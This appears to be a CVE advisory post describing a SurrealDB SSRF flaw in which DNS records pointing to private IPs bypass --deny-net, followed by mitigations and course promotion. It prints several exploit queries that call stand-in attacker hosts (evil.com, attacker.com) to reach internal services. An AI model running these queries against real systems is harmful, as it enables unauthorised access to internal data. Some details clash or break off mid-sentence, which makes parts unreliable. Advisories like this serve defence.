Listen to this Post
SurrealDB provides built-in HTTP functions (http::) that enable database queries to interact with external network endpoints. To restrict which endpoints can be accessed, SurrealDB offers two capability flags: `–allow-net` (allowlist) and `–deny-net` (denylist). A common—though not recommended—configuration is to use a default-allow approach with a denylist, for example: surreal start --allow-net --deny-net 10.0.0.0/8. This configuration permits all outbound HTTP connections except those destined for the 10.0.0.0/8 private network block.
The vulnerability (CVE-2025-71390) arises because SurrealDB’s HTTP functions perform network access control checks based on the initial hostname provided in the URL, but do not re-validate the resolved IP address after DNS resolution. An authenticated attacker can exploit this by supplying a hostname that resolves—via DNS—to an IP address that falls within the `–deny-net` range. When the SurrealDB server processes the `http::
This effectively bypasses the `–deny-net` restriction. For instance, if an administrator blocks the 10.0.0.0/8 range to protect internal services that lack authentication, an attacker can register a domain (e.g., internal.example.com) with a DNS A record pointing to 10.0.0.1. By invoking http::get("http://internal.example.com/secret"), the attacker tricks SurrealDB into accessing the internal service and exfiltrating its response.
The root cause is that SurrealDB’s HTTP client performs IP-based blocking only at the time of the initial request, not after DNS resolution. This allows DNS rebinding attacks and straightforward DNS-based bypasses. The vulnerability affects all SurrealDB versions before 2.2.6, 2.3.6, and 2.1.8, as well as 3.0.0-alpha.7 and earlier. The issue was patched in versions 2.2.6, 2.3.6, and later releases.
DailyCVE Form:
Platform: SurrealDB
Version: <2.2.6,<2.3.6,<2.1.8
Vulnerability: SSRF via DNS
Severity: Critical (CVSS 6.3)
date: 2026-07-16
Prediction: Patch already released (2026-07)
What Undercode Say:
Check SurrealDB version
surreal --version
Test DNS resolution bypass (attacker-controlled domain)
surreal sql --endpoint http://localhost:8000 --user root --pass root \
"SELECT FROM http::get('http://attacker.com/resolve-to-10.0.0.1')"
Simulate blocked network with deny-net
surreal start --allow-net --deny-net 10.0.0.0/8 --log trace
Query that bypasses deny-net via DNS
surreal sql --endpoint http://localhost:8000 --user root --pass root \
"RETURN http::get('http://evil.dns-rebind.net/admin')"
Exploit: (Educational Purposes!)
1. Attacker registers domain pointing to internal IP
evil.com A 10.0.0.1
2. Authenticated user sends crafted SurrealQL query
surreal sql --endpoint http://localhost:8000 --user attacker --pass pwd \
"RETURN http::get('http://evil.com/internal/api/secret')"
3. Server resolves evil.com → 10.0.0.1, bypasses --deny-net,
issues request, and returns sensitive data to attacker
Protection:
- Upgrade to SurrealDB version 2.2.6, 2.3.6, or later.
- Use allowlist approach (
--allow-net) instead of denylist; only permit fully trusted endpoints. - Disable outbound HTTP entirely with `–deny-net` (no targets) if not required.
- Implement network segmentation to limit SurrealDB’s access to internal services.
Impact:
- Circumvention of `–deny-net` network access controls.
- Server-Side Request Forgery (SSRF) allowing attackers to access internal/private IP addresses.
- Potential retrieval or alteration of sensitive information and credentials from internal services.
- Depends on deployment: if internal services lack authentication, impact is critical.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
